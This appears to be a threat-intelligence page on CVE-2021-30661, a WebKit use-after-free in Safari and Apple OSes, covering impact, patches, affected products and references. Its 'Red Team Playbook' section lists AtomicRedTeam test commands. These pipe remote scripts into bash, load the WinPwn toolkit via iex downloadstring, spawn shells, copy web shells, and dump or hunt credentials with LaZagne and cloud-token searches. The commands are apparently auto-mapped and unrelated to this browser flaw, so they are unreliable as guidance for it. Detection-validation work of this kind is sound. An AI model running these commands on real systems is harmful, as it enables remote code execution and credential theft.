CVE-2021-30661
Overview
This vulnerability is a use-after-free condition occurring in the memory management of Apple's WebKit engine, specifically within Safari and underlying iOS, iPadOS, macOS, watchOS, and tvOS components. The flaw arises when the browser improperly handles object lifecycle during processing of web content, leading to dereferencing of freed memory. This defect is rooted in the WebKit's handling of dynamic web content objects, causing memory corruption in affected Apple operating system versions.
Vulnerability Description
A use after free issue was addressed with improved memory management. This issue is fixed in Safari 14.1, iOS 12.5.3, iOS 14.5 and iPadOS 14.5, watchOS 7.4, tvOS 14.5, macOS Big Sur 11.3. Processing maliciously crafted web content may lead to arbitrary code execution. Apple is aware of a report that this issue may have been actively exploited..
Impact
An attacker can execute arbitrary code with the privileges of the affected browser process by convincing a user to visit a malicious web page or open crafted web content, without requiring authentication. This can lead to full system compromise if the browser process has elevated privileges or can be leveraged for privilege escalation. The vulnerability enables remote code execution, potentially exposing sensitive data or allowing persistent control over the device.
Solution
Apple addressed this vulnerability by releasing security updates including Safari 14.1, iOS 12.5.3, iOS 14.5, iPadOS 14.5, watchOS 7.4, tvOS 14.5, and macOS Big Sur 11.3. Detailed patch instructions and update downloads are available from Apple’s official security support pages: https://support.apple.com/en-us/HT212317, https://support.apple.com/en-us/HT212323, and https://support.apple.com/en-us/HT212324. Users should apply these updates promptly to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a use-after-free issue, a common memory management error that occurs when a program continues to use a pointer after the memory it points to has been freed. In this specific case, the flaw was identified in Apple's Safari browser and various operating systems including iOS, iPadOS, macOS, watchOS, and tvOS. The vulnerability allows for the potential execution of arbitrary code when a user interacts with maliciously crafted web content. This can lead to severe consequences, as attackers can exploit this flaw to gain unauthorized access to sensitive information or execute harmful code on the affected device.
Attack vectors for this vulnerability primarily involve the delivery of malicious web content. An attacker could create a specially crafted webpage or embed malicious scripts within legitimate websites. When a user visits the compromised site using the affected versions of Safari or any of the other implicated operating systems, the browser may mishandle memory, allowing the attacker to execute arbitrary code. This exploitation can occur without any user interaction beyond visiting the malicious page, making it particularly dangerous. Additionally, the fact that reports suggest this vulnerability may have been actively exploited in the wild heightens the urgency for users to update their systems.
The real-world impact of this vulnerability is significant, particularly for organizations that rely on Apple products for business operations. The potential for arbitrary code execution means that attackers could gain control over devices, leading to data breaches, loss of intellectual property, and significant financial repercussions. For businesses, the risk extends beyond immediate financial loss; reputational damage and regulatory penalties could ensue if sensitive customer data is compromised. Furthermore, the widespread use of Apple devices in both personal and professional settings amplifies the potential attack surface, making it imperative for organizations to prioritize security updates.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-faceted approach. Regularly updating all affected Apple products is crucial, as the company has released patches in response to the identified flaw. Organizations should establish a routine for monitoring and applying security updates across their device fleet. Additionally, employing web filtering solutions can help block access to known malicious sites, reducing the likelihood of users encountering harmful content. Educating users about the risks of clicking on unknown links and the importance of maintaining updated software can further bolster defenses against exploitation.
In conclusion, the use-after-free vulnerability in Apple's Safari and related operating systems presents a serious threat to both individual users and organizations. The potential for arbitrary code execution through malicious web content underscores the importance of proactive security measures. By staying informed about vulnerabilities, applying timely updates, and fostering a culture of cybersecurity awareness, organizations can significantly reduce their risk exposure and protect their digital assets from exploitation.
CSURFACE threat intelligence has identified a marked escalation in the exploit prediction scoring for CVE-2021-30661, with the EPSS value surging significantly over a short period. This rapid increase in exploit likelihood, now placing the vulnerability well within the 90th percentile, indicates growing adversary interest and potential exploitation attempts in the wild. Although no new specific exploit techniques or ransomware affiliations have been confirmed, the upward trend in exploit probability signals an elevated threat posture for organizations relying on affected Apple platforms. Defenders should interpret this as a heightened risk environment where the window for successful exploitation is expanding, underscoring the urgency for vigilant monitoring and timely patch application. The evolving exploit landscape suggests that threat actors may be refining or accelerating their efforts to leverage this use-after-free flaw, thereby increasing the potential impact on targeted systems.
Affected Products (7)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Apple | Safari | All |
cpe:2.3:a:apple:safari:*:*:*:*:*:*:*:*
|
|
|
Apple | Ipados | All |
cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Iphone Os | All |
cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*
|
|
|
Apple | Macos | All |
cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*
|
|
|
Apple | Tvos | All |
cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*
|
|
|
Apple | Watchos | All |
cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-30661 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212317 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212323 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212324 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212325 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212341 |
| support.apple.com |
GitHub CVE
x_refsource_MISC
|
https://support.apple.com/en-us/HT212318 |
| cisa.gov |
NVD API
Third Party Advisory
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-30661 |